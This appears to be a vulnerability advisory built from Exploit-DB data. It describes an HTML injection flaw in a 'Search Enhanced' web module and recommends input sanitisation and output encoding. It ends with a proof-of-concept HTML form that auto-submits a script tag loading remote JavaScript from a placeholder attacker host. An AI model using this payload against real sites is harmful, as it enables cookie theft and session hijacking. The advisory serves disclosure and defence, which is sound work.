HTML Injection Vulnerability in Search Enhanced module

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Unknown

by:

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7.5

CVSS

HIGH

HTML Injection

CWE

Product Name: Unknown

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: NO

Related CWE: Unknown

CPE: Unknown

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Platforms Tested:

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HTML Injection Vulnerability in Search Enhanced module

The Search Enhanced module for is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

Mitigation:

To mitigate this vulnerability, it is recommended to properly sanitize user-supplied input before using it in dynamically generated content. Implementing input validation and output encoding techniques can help prevent HTML injection attacks.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/15218/info

Search Enhanced module for is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

<html>
<form name=searchform method=post action=http://www.example.com/modules.php?name=Search_Enhanced>
<input type="text" name="query" size="15" value='<script src=http://[location]/js.js></script>'>
<input type=submit name=sub>
<script>document.searchform.sub.click()</script>
</html>